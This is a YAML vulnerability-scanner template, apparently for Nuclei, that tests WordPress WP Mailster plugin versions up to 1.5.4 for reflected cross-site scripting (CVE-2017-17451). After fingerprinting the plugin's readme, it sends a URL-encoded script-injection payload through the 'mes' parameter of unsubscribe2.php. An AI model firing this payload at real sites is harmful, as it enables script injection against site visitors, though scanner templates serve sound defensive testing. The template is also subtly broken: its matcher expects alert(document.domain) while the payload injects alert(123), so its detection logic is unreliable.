id: CVE-2017-17451

info:
  name: WordPress Mailster <=1.5.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Mailster plugin (>=1.5.5) which includes a fix for this vulnerability.
  reference:
    - https://wordpress.org/plugins/wp-mailster/#developers
    - https://packetstormsecurity.com/files/145222/WordPress-WP-Mailster-1.5.4.0-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8973
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17451
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-17451
    cwe-id: CWE-79
    epss-score: 0.00178
    epss-percentile: 0.54962
    cpe: cpe:2.3:a:wpmailster:wp_mailster:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpmailster
    product: "wp_mailster"
    framework: wordpress
  tags: cve,cve2017,wordpress,xss,wp-plugin,packetstorm,wpmailster
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-mailster/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP Mailster ='

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a4bc2d4118a449373b6b42acfd87047517d105710f8a57ab8ae7f8fa854fada202204d0e331f4d4798144901cbd21d815ac2ee2ed6d2819d7079b1b7e4489499361c:922c64590222798bb761d5b6d8e72950